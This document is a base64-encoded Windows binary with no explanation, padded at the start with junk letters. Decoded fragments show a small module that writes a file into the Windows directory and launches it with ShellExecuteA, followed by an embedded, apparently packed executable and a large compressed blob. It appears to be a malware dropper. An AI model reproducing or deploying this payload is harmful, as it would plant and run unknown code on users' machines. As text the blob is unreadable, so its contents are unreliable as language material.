am91aWxoamtqaHlrdWhrZmh0ZGZodHJqZ2poeXJmaHRydGp5cnRydGhydHllaHRlZXJlZGdm ZGhmZGhnZGh0ZGhzZWdyZHJlZGhmeWpydGhqZ2ZkZmRzeXRyeXJ0aGZnYmZnaGdna2hsamtm aGhtZmNnZmhnaGpramxmaGdqa2pnZnNkZ2hqamhmZ2Znamp1dHlpeXVpaWl5dGt1Z2poZnlq Z2ZqaGZocmZqaHlmdHJ0aHJmdGhnZmh0aGhqa2tqa2pnaGt1aXV5ZGZ1anR5a2dqZHN3ZXR0 ZWhmZ2hqZ2h1Z3lqZmdoZmdodHJ0anlydHJ0aHJ0eWVodGVlcmVkZ2ZkaGZkaGdkaHRkaHNl Z3JkcmVkaGZ5anJ0aGpnAAAAbBQAAAAAAAAAAAAABBUAAIwUAACEFAAAAAAAAAAAAAAiFQAA pBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuBQAAMYUAADUFAAA7BQAAPgUAAAAAAAAEhUAAAAA AAC4FAAAxhQAANQUAADsFAAA+BQAAAAAAAASFQAAAAAAAHVzZXIzMi5kbGwAABoAQ2xvc2VI YW5kbGUAMABDcmVhdGVGaWxlQQBiAUdldFdpbmRvd3NEaXJlY3RvcnlBAACeAldyaXRlRmls ZQC1AmxzdHJjYXRBAABrZXJuZWwzMi5kbGwAAGcAU2hlbGxFeGVjdXRlQQBzaGVsbDMyLmRs bAAAAFWL7IN9DAF1SGgABAAAaBAWABDoogAAADPCaGESABBoEBYAEOidAAAAQWgQFgAQ6CYA AAALwHQZ99BqAGoAagBoEBYAEGgAEAAQagDoewAAALgBAAAAycIMAFWL7IPE+FNWM9tqAGoA agJqAGoDaAAAAMD/dQjoOQAAAJCJRfhAdCMzwr4AMAAQrZJqAI1F/FBSVv91+OglAAAASP91 +OgKAAAAQ4vDXlvJwgQAzP8ljBQAEP8lkBQAEP8llBQAEP8lmBQAEP8lnBQAEP8lpBQAEAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAgAAAAPzVLNVA1WzVxNXY14DXmNew18jX4Nf41 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMU0AAE1a AAABAAAAAgAAAP//AABAAAAAAAAAAEAAAAAAAAAAtEzNIQAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAEAAAABQRQAATAEFAAAAAAAAAAAAAAAAAOAADwELAQAAADoAAABKAAAAAAAAAKAAAAAQ AAAAUAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAAL1AAAAAgAAAAAAAAIAAAAAABAA ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAACijAADRAAAAAPAAAAIFAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAUAAAsAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAA6AAAAAAAAujkAAAAQ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAMAADAAAAAAAAPIKAAAAUAAAAAAAAAAAAAAAAAAA AAAAAAAAAABAAADAADAAAAAAAAC1PAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAwAAA AAAAAAAAAFAAAACgAAAAQgAAAAIAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAAIFAAAA8AAA AgUAAABEAAAAAAAAAAAAAAAAAAAgAADg63INCnl1dXZlbG50Ymdma2Jramhoa2dqZ3Zrdmtn Z3RrYmJqYmcNCmxoaGdnamZkZ2RjZGhnaHRmaGpoa2p1dWhoamhmZmhqaGpoZw0KbGhoZ2dq ZmRnZGZkZnJldHJldGV5ZmVydGVydGV0ZXRmZGhnDQpg6AEAAADog8QE6AEAAADpXYHtTSJA AOiHAgAA6OsT6wLNIP8kJJpkc2pnamhqa2V3cWa+R0boAQAAAJpZjZXSIkAA6AEAAABpWGa/ TXPoNwIAAI1S+egBAAAA6FtozP/imsTExMTExMTExMTExMTExMTExMTExMTExMTExMTExP/k aGpoamdsamxramn/pT4lQADp6Ib////rAs0gi8TrAs0ggQAWAAAAD4X0AQAAaegAAAAAWJlq FVqNBAJQ6MABAABmPYbzdAPpjZV0I0AA6LUBAADoAQAAAGmDxASNvcMlQAC54D0AALqgpztT igf20DLFMsIyxtLAAsECxQLCAsbSyCrBKsX20CrCKsbSwNLIMsHTwogHR0l10ugBAAAA6IPE BA8L6CvSZIsCiyBkjwJYXcOai5U+JUAA6EkBAADoAQAAAMeDxAS7c3oAAGoEaAAwAABTagD/ lUIlQADoAQAAAOiDxARoAEAAAFNQ6AEAAADpg8QEUI2VwyVAAFLoDgAAAOgBAAAAaYPEBFpe DlbLYIt0JCSLfCQo/LKApOhsAAAAc/gryehjAAAAcxorwOhaAAAAcyBBsBDoUAAAABLAc/d1 QKrr1uh1AAAASeIU6GsAAADrLKzR6A+ElwAAABPJ6xyRSMHgCKzoUQAAAD0AfQAAcwqA/AVz BoP4f3cCQUGVi8VWi/cr8POkXuuPAtJ1BYoWRhLSw+slNlU5NlU5OlU5NlVDNlU5NlUPOTZV OTpVOTZVQzZVOTZVD1VDOSvJQejH////E8nowP///3Lyw+sjNlU5NlU5OlU5NlVDNlU5NlUP OTZVOTpVOTZVQzZVOTZVDzkrfCQoiXwkHGHD6wFpWFj/4FlSVY2FZiNAAFArwGT/MGSJIOsD x4ToUcPrA8eEmllB6/AAAAAAAAAAAGyjAAAAAAAAAAAAAISjAABsowAAZKMAAAAAAAAAAAAA kaMAAGSjAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOejAAAAAAAAnKMAAK2jAAC8owAAyqMAANmj AAAAAAAAS0VSTkVMMzIuRExMAFVTRVIzMi5ETEwAAABHZXRQcm9jQWRkcmVzcwAAAExvYWRM aWJyYXJ5QQAAAEV4aXRQcm9jZXNzAAAAVmlydHVhbEFsbG9jAAAAVmlydHVhbEZyZWUAAABN ZXNzYWdlQm94QQAAAAAAOeKLgzRI3EcVFypr43k8jswmJpcdC/puuD+MGFGK3yS1VvdDjcHw UGKZihiE4TH6vdZzK0jVmBEZbOu0bc19QpRineLPpRAg+hMPLIkgRWRUjj7ORm7thaOYLHgl kFB9CxoXuW9zFSWep/UpTm1tBeFEDb4vOuE2w7qCAGdKT61IXGNdOvhZxsMYX/8v8FJV1ThK +M5Op99GGuzKYMfOHf1Lg96v6yR8IxjuUrCZm6tW/WUP6DYtyI4l6uZpp+QWVzrk7xdu+mx9 RIhL1PbGk0/OYbygJ9VN+jm9UlgA++N8Vnk8relBT+vCVU4Lvo8B/VKWk2uH/vSk8ga34wX0 B7Iv1w/GozlcbTkh9/n82sH5LYyFbOAGO3B3kAqaaYhnel6IJRymR8tKMvUtJk94fObkAwS8 wIPQFa74/b4x6LwB/GGTlau6TRPH91IdsFbdt8DeoCzpbi5zBEk3Xnr2MxfxshtfmiBr8nio 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 